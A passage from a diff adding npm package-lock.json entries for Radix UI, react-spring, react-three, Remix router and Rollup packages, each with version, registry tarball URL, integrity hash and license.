5628+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
5629+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5630+ },
5631+ "peerDependenciesMeta": {
5632+ "@types/react": {
5633+ "optional": true
5634+ },
5635+ "@types/react-dom": {
5636+ "optional": true
5637+ }
5638+ }
5639+ },
5640+ "node_modules/@radix-ui/react-tooltip/node_modules/@radix-ui/react-slot": {
5641+ "version": "1.2.3",
5642+ "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz",
5643+ "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==",
5644+ "license": "MIT",
5645+ "dependencies": {
5646+ "@radix-ui/react-compose-refs": "1.1.2"
5647+ },
5648+ "peerDependencies": {
5649+ "@types/react": "*",
5650+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5651+ },
5652+ "peerDependenciesMeta": {
5653+ "@types/react": {
5654+ "optional": true
5655+ }
5656+ }
5657+ },
5658+ "node_modules/@radix-ui/react-use-callback-ref": {
5659+ "version": "1.1.1",
5660+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.1.1.tgz",
5661+ "integrity": "sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg==",
5662+ "license": "MIT",
5663+ "peerDependencies": {
5664+ "@types/react": "*",
5665+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5666+ },
5667+ "peerDependenciesMeta": {
5668+ "@types/react": {
5669+ "optional": true
5670+ }
5671+ }
5672+ },
5673+ "node_modules/@radix-ui/react-use-controllable-state": {
5674+ "version": "1.2.2",
5675+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.2.2.tgz",
5676+ "integrity": "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==",
5677+ "license": "MIT",
5678+ "dependencies": {
5679+ "@radix-ui/react-use-effect-event": "0.0.2",
5680+ "@radix-ui/react-use-layout-effect": "1.1.1"
5681+ },
5682+ "peerDependencies": {
5683+ "@types/react": "*",
5684+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5685+ },
5686+ "peerDependenciesMeta": {
5687+ "@types/react": {
5688+ "optional": true
5689+ }
5690+ }
5691+ },
5692+ "node_modules/@radix-ui/react-use-effect-event": {
5693+ "version": "0.0.2",
5694+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-effect-event/-/react-use-effect-event-0.0.2.tgz",
5695+ "integrity": "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA==",
5696+ "license": "MIT",
5697+ "dependencies": {
5698+ "@radix-ui/react-use-layout-effect": "1.1.1"
5699+ },
5700+ "peerDependencies": {
5701+ "@types/react": "*",
5702+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5703+ },
5704+ "peerDependenciesMeta": {
5705+ "@types/react": {
5706+ "optional": true
5707+ }
5708+ }
5709+ },
5710+ "node_modules/@radix-ui/react-use-escape-keydown": {
5711+ "version": "1.1.1",
5712+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-escape-keydown/-/react-use-escape-keydown-1.1.1.tgz",
5713+ "integrity": "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g==",
5714+ "license": "MIT",
5715+ "dependencies": {
5716+ "@radix-ui/react-use-callback-ref": "1.1.1"
5717+ },
5718+ "peerDependencies": {
5719+ "@types/react": "*",
5720+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5721+ },
5722+ "peerDependenciesMeta": {
5723+ "@types/react": {
5724+ "optional": true
5725+ }
5726+ }
5727+ },
5728+ "node_modules/@radix-ui/react-use-layout-effect": {
5729+ "version": "1.1.1",
5730+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.1.tgz",
5731+ "integrity": "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==",
5732+ "license": "MIT",
5733+ "peerDependencies": {
5734+ "@types/react": "*",
5735+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5736+ },
5737+ "peerDependenciesMeta": {
5738+ "@types/react": {
5739+ "optional": true
5740+ }
5741+ }
5742+ },
5743+ "node_modules/@radix-ui/react-use-rect": {
5744+ "version": "1.1.1",
5745+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-rect/-/react-use-rect-1.1.1.tgz",
5746+ "integrity": "sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w==",
5747+ "license": "MIT",
5748+ "dependencies": {
5749+ "@radix-ui/rect": "1.1.1"
5750+ },
5751+ "peerDependencies": {
5752+ "@types/react": "*",
5753+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5754+ },
5755+ "peerDependenciesMeta": {
5756+ "@types/react": {
5757+ "optional": true
5758+ }
5759+ }
5760+ },
5761+ "node_modules/@radix-ui/react-use-size": {
5762+ "version": "1.1.1",
5763+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-size/-/react-use-size-1.1.1.tgz",
5764+ "integrity": "sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ==",
5765+ "license": "MIT",
5766+ "dependencies": {
5767+ "@radix-ui/react-use-layout-effect": "1.1.1"
5768+ },
5769+ "peerDependencies": {
5770+ "@types/react": "*",
5771+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5772+ },
5773+ "peerDependenciesMeta": {
5774+ "@types/react": {
5775+ "optional": true
5776+ }
5777+ }
5778+ },
5779+ "node_modules/@radix-ui/react-visually-hidden": {
5780+ "version": "1.2.3",
5781+ "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.3.tgz",
5782+ "integrity": "sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==",
5783+ "license": "MIT",
5784+ "dependencies": {
5785+ "@radix-ui/react-primitive": "2.1.3"
5786+ },
5787+ "peerDependencies": {
5788+ "@types/react": "*",
5789+ "@types/react-dom": "*",
5790+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
5791+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5792+ },
5793+ "peerDependenciesMeta": {
5794+ "@types/react": {
5795+ "optional": true
5796+ },
5797+ "@types/react-dom": {
5798+ "optional": true
5799+ }
5800+ }
5801+ },
5802+ "node_modules/@radix-ui/react-visually-hidden/node_modules/@radix-ui/react-primitive": {
5803+ "version": "2.1.3",
5804+ "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz",
5805+ "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==",
5806+ "license": "MIT",
5807+ "dependencies": {
5808+ "@radix-ui/react-slot": "1.2.3"
5809+ },
5810+ "peerDependencies": {
5811+ "@types/react": "*",
5812+ "@types/react-dom": "*",
5813+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
5814+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5815+ },
5816+ "peerDependenciesMeta": {
5817+ "@types/react": {
5818+ "optional": true
5819+ },
5820+ "@types/react-dom": {
5821+ "optional": true
5822+ }
5823+ }
5824+ },
5825+ "node_modules/@radix-ui/react-visually-hidden/node_modules/@radix-ui/react-slot": {
5826+ "version": "1.2.3",
5827+ "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz",
5828+ "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==",
5829+ "license": "MIT",
5830+ "dependencies": {
5831+ "@radix-ui/react-compose-refs": "1.1.2"
5832+ },
5833+ "peerDependencies": {
5834+ "@types/react": "*",
5835+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5836+ },
5837+ "peerDependenciesMeta": {
5838+ "@types/react": {
5839+ "optional": true
5840+ }
5841+ }
5842+ },
5843+ "node_modules/@radix-ui/rect": {
5844+ "version": "1.1.1",
5845+ "resolved": "https://registry.npmjs.org/@radix-ui/rect/-/rect-1.1.1.tgz",
5846+ "integrity": "sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw==",
5847+ "license": "MIT"
5848+ },
5849+ "node_modules/@react-spring/animated": {
5850+ "version": "9.7.5",
5851+ "resolved": "https://registry.npmjs.org/@react-spring/animated/-/animated-9.7.5.tgz",
5852+ "integrity": "sha512-Tqrwz7pIlsSDITzxoLS3n/v/YCUHQdOIKtOJf4yL6kYVSDTSmVK1LI1Q3M/uu2Sx4X3pIWF3xLUhlsA6SPNTNg==",
5853+ "license": "MIT",
5854+ "dependencies": {
5855+ "@react-spring/shared": "~9.7.5",
5856+ "@react-spring/types": "~9.7.5"
5857+ },
5858+ "peerDependencies": {
5859+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
5860+ }
5861+ },
5862+ "node_modules/@react-spring/core": {
5863+ "version": "9.7.5",
5864+ "resolved": "https://registry.npmjs.org/@react-spring/core/-/core-9.7.5.tgz",
5865+ "integrity": "sha512-rmEqcxRcu7dWh7MnCcMXLvrf6/SDlSokLaLTxiPlAYi11nN3B5oiCUAblO72o+9z/87j2uzxa2Inm8UbLjXA+w==",
5866+ "license": "MIT",
5867+ "dependencies": {
5868+ "@react-spring/animated": "~9.7.5",
5869+ "@react-spring/shared": "~9.7.5",
5870+ "@react-spring/types": "~9.7.5"
5871+ },
5872+ "funding": {
5873+ "type": "opencollective",
5874+ "url": "https://opencollective.com/react-spring/donate"
5875+ },
5876+ "peerDependencies": {
5877+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
5878+ }
5879+ },
5880+ "node_modules/@react-spring/rafz": {
5881+ "version": "9.7.5",
5882+ "resolved": "https://registry.npmjs.org/@react-spring/rafz/-/rafz-9.7.5.tgz",
5883+ "integrity": "sha512-5ZenDQMC48wjUzPAm1EtwQ5Ot3bLIAwwqP2w2owG5KoNdNHpEJV263nGhCeKKmuA3vG2zLLOdu3or6kuDjA6Aw==",
5884+ "license": "MIT"
5885+ },
5886+ "node_modules/@react-spring/shared": {
5887+ "version": "9.7.5",
5888+ "resolved": "https://registry.npmjs.org/@react-spring/shared/-/shared-9.7.5.tgz",
5889+ "integrity": "sha512-wdtoJrhUeeyD/PP/zo+np2s1Z820Ohr/BbuVYv+3dVLW7WctoiN7std8rISoYoHpUXtbkpesSKuPIw/6U1w1Pw==",
5890+ "license": "MIT",
5891+ "dependencies": {
5892+ "@react-spring/rafz": "~9.7.5",
5893+ "@react-spring/types": "~9.7.5"
5894+ },
5895+ "peerDependencies": {
5896+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
5897+ }
5898+ },
5899+ "node_modules/@react-spring/three": {
5900+ "version": "9.7.5",
5901+ "resolved": "https://registry.npmjs.org/@react-spring/three/-/three-9.7.5.tgz",
5902+ "integrity": "sha512-RxIsCoQfUqOS3POmhVHa1wdWS0wyHAUway73uRLp3GAL5U2iYVNdnzQsep6M2NZ994BlW8TcKuMtQHUqOsy6WA==",
5903+ "license": "MIT",
5904+ "dependencies": {
5905+ "@react-spring/animated": "~9.7.5",
5906+ "@react-spring/core": "~9.7.5",
5907+ "@react-spring/shared": "~9.7.5",
5908+ "@react-spring/types": "~9.7.5"
5909+ },
5910+ "peerDependencies": {
5911+ "@react-three/fiber": ">=6.0",
5912+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0",
5913+ "three": ">=0.126"
5914+ }
5915+ },
5916+ "node_modules/@react-spring/types": {
5917+ "version": "9.7.5",
5918+ "resolved": "https://registry.npmjs.org/@react-spring/types/-/types-9.7.5.tgz",
5919+ "integrity": "sha512-HVj7LrZ4ReHWBimBvu2SKND3cDVUPWKLqRTmWe/fNY6o1owGOX0cAHbdPDTMelgBlVbrTKrre6lFkhqGZErK/g==",
5920+ "license": "MIT"
5921+ },
5922+ "node_modules/@react-three/drei": {
5923+ "version": "9.122.0",
5924+ "resolved": "https://registry.npmjs.org/@react-three/drei/-/drei-9.122.0.tgz",
5925+ "integrity": "sha512-SEO/F/rBCTjlLez7WAlpys+iGe9hty4rNgjZvgkQeXFSiwqD4Hbk/wNHMAbdd8vprO2Aj81mihv4dF5bC7D0CA==",
5926+ "license": "MIT",
5927+ "dependencies": {
5928+ "@babel/runtime": "^7.26.0",
5929+ "@mediapipe/tasks-vision": "0.10.17",
5930+ "@monogrid/gainmap-js": "^3.0.6",
5931+ "@react-spring/three": "~9.7.5",
5932+ "@use-gesture/react": "^10.3.1",
5933+ "camera-controls": "^2.9.0",
5934+ "cross-env": "^7.0.3",
5935+ "detect-gpu": "^5.0.56",
5936+ "glsl-noise": "^0.0.0",
5937+ "hls.js": "^1.5.17",
5938+ "maath": "^0.10.8",
5939+ "meshline": "^3.3.1",
5940+ "react-composer": "^5.0.3",
5941+ "stats-gl": "^2.2.8",
5942+ "stats.js": "^0.17.0",
5943+ "suspend-react": "^0.1.3",
5944+ "three-mesh-bvh": "^0.7.8",
5945+ "three-stdlib": "^2.35.6",
5946+ "troika-three-text": "^0.52.0",
5947+ "tunnel-rat": "^0.1.2",
5948+ "utility-types": "^3.11.0",
5949+ "zustand": "^5.0.1"
5950+ },
5951+ "peerDependencies": {
5952+ "@react-three/fiber": "^8",
5953+ "react": "^18",
5954+ "react-dom": "^18",
5955+ "three": ">=0.137"
5956+ },
5957+ "peerDependenciesMeta": {
5958+ "react-dom": {
5959+ "optional": true
5960+ }
5961+ }
5962+ },
5963+ "node_modules/@react-three/fiber": {
5964+ "version": "8.18.0",
5965+ "resolved": "https://registry.npmjs.org/@react-three/fiber/-/fiber-8.18.0.tgz",
5966+ "integrity": "sha512-FYZZqD0UUHUswKz3LQl2Z7H24AhD14XGTsIRw3SJaXUxyfVMi+1yiZGmqTcPt/CkPpdU7rrxqcyQ1zJE5DjvIQ==",
5967+ "license": "MIT",
5968+ "dependencies": {
5969+ "@babel/runtime": "^7.17.8",
5970+ "@types/react-reconciler": "^0.26.7",
5971+ "@types/webxr": "*",
5972+ "base64-js": "^1.5.1",
5973+ "buffer": "^6.0.3",
5974+ "its-fine": "^1.0.6",
5975+ "react-reconciler": "^0.27.0",
5976+ "react-use-measure": "^2.1.7",
5977+ "scheduler": "^0.21.0",
5978+ "suspend-react": "^0.1.3",
5979+ "zustand": "^3.7.1"
5980+ },
5981+ "peerDependencies": {
5982+ "expo": ">=43.0",
5983+ "expo-asset": ">=8.4",
5984+ "expo-file-system": ">=11.0",
5985+ "expo-gl": ">=11.0",
5986+ "react": ">=18 <19",
5987+ "react-dom": ">=18 <19",
5988+ "react-native": ">=0.64",
5989+ "three": ">=0.133"
5990+ },
5991+ "peerDependenciesMeta": {
5992+ "expo": {
5993+ "optional": true
5994+ },
5995+ "expo-asset": {
5996+ "optional": true
5997+ },
5998+ "expo-file-system": {
5999+ "optional": true
6000+ },
6001+ "expo-gl": {
6002+ "optional": true
6003+ },
6004+ "react-dom": {
6005+ "optional": true
6006+ },
6007+ "react-native": {
6008+ "optional": true
6009+ }
6010+ }
6011+ },
6012+ "node_modules/@react-three/fiber/node_modules/zustand": {
6013+ "version": "3.7.2",
6014+ "resolved": "https://registry.npmjs.org/zustand/-/zustand-3.7.2.tgz",
6015+ "integrity": "sha512-PIJDIZKtokhof+9+60cpockVOq05sJzHCriyvaLBmEJixseQ1a5Kdov6fWZfWOu5SK9c+FhH1jU0tntLxRJYMA==",
6016+ "license": "MIT",
6017+ "engines": {
6018+ "node": ">=12.7.0"
6019+ },
6020+ "peerDependencies": {
6021+ "react": ">=16.8"
6022+ },
6023+ "peerDependenciesMeta": {
6024+ "react": {
6025+ "optional": true
6026+ }
6027+ }
6028+ },
6029+ "node_modules/@remix-run/router": {
6030+ "version": "1.23.1",
6031+ "resolved": "https://registry.npmjs.org/@remix-run/router/-/router-1.23.1.tgz",
6032+ "integrity": "sha512-vDbaOzF7yT2Qs4vO6XV1MHcJv+3dgR1sT+l3B8xxOVhUC336prMvqrvsLL/9Dnw2xr6Qhz4J0dmS0llNAbnUmQ==",
6033+ "license": "MIT",
6034+ "engines": {
6035+ "node": ">=14.0.0"
6036+ }
6037+ },
6038+ "node_modules/@rollup/plugin-inject": {
6039+ "version": "5.0.5",
6040+ "resolved": "https://registry.npmjs.org/@rollup/plugin-inject/-/plugin-inject-5.0.5.tgz",
6041+ "integrity": "sha512-2+DEJbNBoPROPkgTDNe8/1YXWcqxbN5DTjASVIOx8HS+pITXushyNiBV56RB08zuptzz8gT3YfkqriTBVycepg==",
6042+ "license": "MIT",
6043+ "dependencies": {
6044+ "@rollup/pluginutils": "^5.0.1",
6045+ "estree-walker": "^2.0.2",
6046+ "magic-string": "^0.30.3"
6047+ },
6048+ "engines": {
6049+ "node": ">=14.0.0"
6050+ },
6051+ "peerDependencies": {
6052+ "rollup": "^1.20.0||^2.0.0||^3.0.0||^4.0.0"
6053+ },
6054+ "peerDependenciesMeta": {
6055+ "rollup": {
6056+ "optional": true
6057+ }
6058+ }
6059+ },
6060+ "node_modules/@rollup/pluginutils": {
6061+ "version": "5.3.0",
6062+ "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-5.3.0.tgz",
6063+ "integrity": "sha512-5EdhGZtnu3V88ces7s53hhfK5KSASnJZv8Lulpc04cWO3REESroJXg73DFsOmgbU2BhwV0E20bu2IDZb3VKW4Q==",
6064+ "license": "MIT",
6065+ "dependencies": {
6066+ "@types/estree": "^1.0.0",
6067+ "estree-walker": "^2.0.2",
6068+ "picomatch": "^4.0.2"
6069+ },
6070+ "engines": {
6071+ "node": ">=14.0.0"
6072+ },
6073+ "peerDependencies": {
6074+ "rollup": "^1.20.0||^2.0.0||^3.0.0||^4.0.0"
6075+ },
6076+ "peerDependenciesMeta": {
6077+ "rollup": {
6078+ "optional": true
6079+ }
6080+ }
6081+ },
6082+ "node_modules/@rollup/rollup-android-arm-eabi": {
6083+ "version": "4.53.3",
6084+ "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.53.3.tgz",
6085+ "integrity": "sha512-mRSi+4cBjrRLoaal2PnqH82Wqyb+d3HsPUN/W+WslCXsZsyHa9ZeQQX/pQsZaVIWDkPcpV6jJ+3KLbTbgnwv8w==",
6086+ "cpu": [
6087+ "arm"
6088+ ],
6089+ "license": "MIT",
6090+ "optional": true,
6091+ "os": [
6092+ "android"
6093+ ],
6094+ "peer": true
6095+ },
6096+ "node_modules/@rollup/rollup-android-arm64": {
6097+ "version": "4.53.3",
6098+ "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.53.3.tgz",
6099+ "integrity": "sha512-CbDGaMpdE9sh7sCmTrTUyllhrg65t6SwhjlMJsLr+J8YjFuPmCEjbBSx4Z/e4SmDyH3aB5hGaJUP2ltV/vcs4w==",
6100+ "cpu": [
6101+ "arm64"
6102+ ],
6103+ "license": "MIT",
6104+ "optional": true,
6105+ "os": [
6106+ "android"
6107+ ],
6108+ "peer": true
6109+ },
6110+ "node_modules/@rollup/rollup-darwin-arm64": {
6111+ "version": "4.53.3",
6112+ "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.53.3.tgz",
6113+ "integrity": "sha512-Nr7SlQeqIBpOV6BHHGZgYBuSdanCXuw09hon14MGOLGmXAFYjx1wNvquVPmpZnl0tLjg25dEdr4IQ6GgyToCUA==",
6114+ "cpu": [
6115+ "arm64"
6116+ ],
6117+ "license": "MIT",
6118+ "optional": true,
6119+ "os": [
6120+ "darwin"
6121+ ],
6122+ "peer": true
6123+ },
6124+ "node_modules/@rollup/rollup-darwin-x64": {
6125+ "version": "4.53.3",
6126+ "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.53.3.tgz",
6127+ "integrity": "sha512-DZ8N4CSNfl965CmPktJ8oBnfYr3F8dTTNBQkRlffnUarJ2ohudQD17sZBa097J8xhQ26AwhHJ5mvUyQW8ddTsQ==",
6128+ "cpu": [
6129+ "x64"
6130+ ],
6131+ "license": "MIT",
6132+ "optional": true,
6133+ "os": [
6134+ "darwin"
6135+ ],
6136+ "peer": true
6137+ },
6138+ "node_modules/@rollup/rollup-freebsd-arm64": {
6139+ "version": "4.53.3",
6140+ "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.53.3.tgz",
6141+ "integrity": "sha512-yMTrCrK92aGyi7GuDNtGn2sNW+Gdb4vErx4t3Gv/Tr+1zRb8ax4z8GWVRfr3Jw8zJWvpGHNpss3vVlbF58DZ4w==",
6142+ "cpu": [
6143+ "arm64"
6144+ ],
6145+ "license": "MIT",
6146+ "optional": true,
6147+ "os": [
6148+ "freebsd"
6149+ ],
6150+ "peer": true
6151+ },
6152+ "node_modules/@rollup/rollup-freebsd-x64": {
6153+ "version": "4.53.3",
6154+ "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.53.3.tgz",
6155+ "integrity": "sha512-lMfF8X7QhdQzseM6XaX0vbno2m3hlyZFhwcndRMw8fbAGUGL3WFMBdK0hbUBIUYcEcMhVLr1SIamDeuLBnXS+Q==",
6156+ "cpu": [
6157+ "x64"
6158+ ],
6159+ "license": "MIT",
6160+ "optional": true,
6161+ "os": [
6162+ "freebsd"
6163+ ],
6164+ "peer": true
6165+ },
6166+ "node_modules/@rollup/rollup-linux-arm-gnueabihf": {
6167+ "version": "4.53.3",
6168+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.53.3.tgz",
6169+ "integrity": "sha512-k9oD15soC/Ln6d2Wv/JOFPzZXIAIFLp6B+i14KhxAfnq76ajt0EhYc5YPeX6W1xJkAdItcVT+JhKl1QZh44/qw==",
6170+ "cpu": [
6171+ "arm"
6172+ ],
6173+ "license": "MIT",
6174+ "optional": true,
6175+ "os": [
6176+ "linux"
6177+ ],
6178+ "peer": true
6179+ },
6180+ "node_modules/@rollup/rollup-linux-arm-musleabihf": {
6181+ "version": "4.53.3",
6182+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.53.3.tgz",
6183+ "integrity": "sha512-vTNlKq+N6CK/8UktsrFuc+/7NlEYVxgaEgRXVUVK258Z5ymho29skzW1sutgYjqNnquGwVUObAaxae8rZ6YMhg==",
6184+ "cpu": [
6185+ "arm"
6186+ ],
6187+ "license": "MIT",
6188+ "optional": true,
6189+ "os": [
6190+ "linux"
6191+ ],
6192+ "peer": true
6193+ },
6194+ "node_modules/@rollup/rollup-linux-arm64-gnu": {
6195+ "version": "4.53.3",
6196+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.53.3.tgz",
6197+ "integrity": "sha512-RGrFLWgMhSxRs/EWJMIFM1O5Mzuz3Xy3/mnxJp/5cVhZ2XoCAxJnmNsEyeMJtpK+wu0FJFWz+QF4mjCA7AUQ3w==",
6198+ "cpu": [
6199+ "arm64"
6200+ ],
6201+ "license": "MIT",
6202+ "optional": true,
6203+ "os": [
6204+ "linux"
6205+ ],
6206+ "peer": true
6207+ },
6208+ "node_modules/@rollup/rollup-linux-arm64-musl": {
6209+ "version": "4.53.3",
6210+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.53.3.tgz",
6211+ "integrity": "sha512-kASyvfBEWYPEwe0Qv4nfu6pNkITLTb32p4yTgzFCocHnJLAHs+9LjUu9ONIhvfT/5lv4YS5muBHyuV84epBo/A==",
6212+ "cpu": [
6213+ "arm64"
6214+ ],
6215+ "license": "MIT",
6216+ "optional": true,
6217+ "os": [
6218+ "linux"
6219+ ],
6220+ "peer": true
6221+ },
6222+ "node_modules/@rollup/rollup-linux-loong64-gnu": {
6223+ "version": "4.53.3",
6224+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.53.3.tgz",
6225+ "integrity": "sha512-JiuKcp2teLJwQ7vkJ95EwESWkNRFJD7TQgYmCnrPtlu50b4XvT5MOmurWNrCj3IFdyjBQ5p9vnrX4JM6I8OE7g==",
6226+ "cpu": [
6227+ "loong64"
6228+ ],
6229+ "license": "MIT",
6230+ "optional": true,
6231+ "os": [
6232+ "linux"
6233+ ],
6234+ "peer": true
6235+ },
6236+ "node_modules/@rollup/rollup-linux-ppc64-gnu": {
6237+ "version": "4.53.3",
6238+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.53.3.tgz",
6239+ "integrity": "sha512-EoGSa8nd6d3T7zLuqdojxC20oBfNT8nexBbB/rkxgKj5T5vhpAQKKnD+h3UkoMuTyXkP5jTjK/ccNRmQrPNDuw==",
6240+ "cpu": [
6241+ "ppc64"
6242+ ],
6243+ "license": "MIT",
6244+ "optional": true,
6245+ "os": [
6246+ "linux"
6247+ ],
6248+ "peer": true
6249+ },
6250+ "node_modules/@rollup/rollup-linux-riscv64-gnu": {
6251+ "version": "4.53.3",
6252+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.53.3.tgz",
6253+ "integrity": "sha512-4s+Wped2IHXHPnAEbIB0YWBv7SDohqxobiiPA1FIWZpX+w9o2i4LezzH/NkFUl8LRci/8udci6cLq+jJQlh+0g==",
6254+ "cpu": [
6255+ "riscv64"
6256+ ],
6257+ "license": "MIT",
6258+ "optional": true,
6259+ "os": [
6260+ "linux"
6261+ ],
6262+ "peer": true
6263+ },
6264+ "node_modules/@rollup/rollup-linux-riscv64-musl": {
6265+ "version": "4.53.3",
6266+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.53.3.tgz",
6267+ "integrity": "sha512-68k2g7+0vs2u9CxDt5ktXTngsxOQkSEV/xBbwlqYcUrAVh6P9EgMZvFsnHy4SEiUl46Xf0IObWVbMvPrr2gw8A==",
6268+ "cpu": [
6269+ "riscv64"
6270+ ],
6271+ "license": "MIT",
6272+ "optional": true,
6273+ "os": [
6274+ "linux"
6275+ ],
6276+ "peer": true
6277+ },
6278+ "node_modules/@rollup/rollup-linux-s390x-gnu": {
6279+ "version": "4.53.3",
6280+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.53.3.tgz",
6281+ "integrity": "sha512-VYsFMpULAz87ZW6BVYw3I6sWesGpsP9OPcyKe8ofdg9LHxSbRMd7zrVrr5xi/3kMZtpWL/wC+UIJWJYVX5uTKg==",
6282+ "cpu": [
6283+ "s390x"
6284+ ],
6285+ "license": "MIT",
6286+ "optional": true,
6287+ "os": [
6288+ "linux"
6289+ ],
6290+ "peer": true
6291+ },
6292+ "node_modules/@rollup/rollup-linux-x64-gnu": {
6293+ "version": "4.53.3",
6294+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.53.3.tgz",
6295+ "integrity": "sha512-3EhFi1FU6YL8HTUJZ51imGJWEX//ajQPfqWLI3BQq4TlvHy4X0MOr5q3D2Zof/ka0d5FNdPwZXm3Yyib/UEd+w==",
6296+ "cpu": [
6297+ "x64"
6298+ ],
6299+ "license": "MIT",
6300+ "optional": true,
6301+ "os": [
6302+ "linux"
6303+ ],
6304+ "peer": true
6305+ },
6306+ "node_modules/@rollup/rollup-linux-x64-musl": {
6307+ "version": "4.53.3",
6308+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.53.3.tgz",
6309+ "integrity": "sha512-eoROhjcc6HbZCJr+tvVT8X4fW3/5g/WkGvvmwz/88sDtSJzO7r/blvoBDgISDiCjDRZmHpwud7h+6Q9JxFwq1Q==",
6310+ "cpu": [
6311+ "x64"
6312+ ],
6313+ "license": "MIT",
6314+ "optional": true,
6315+ "os": [
6316+ "linux"
6317+ ],
6318+ "peer": true
6319+ },
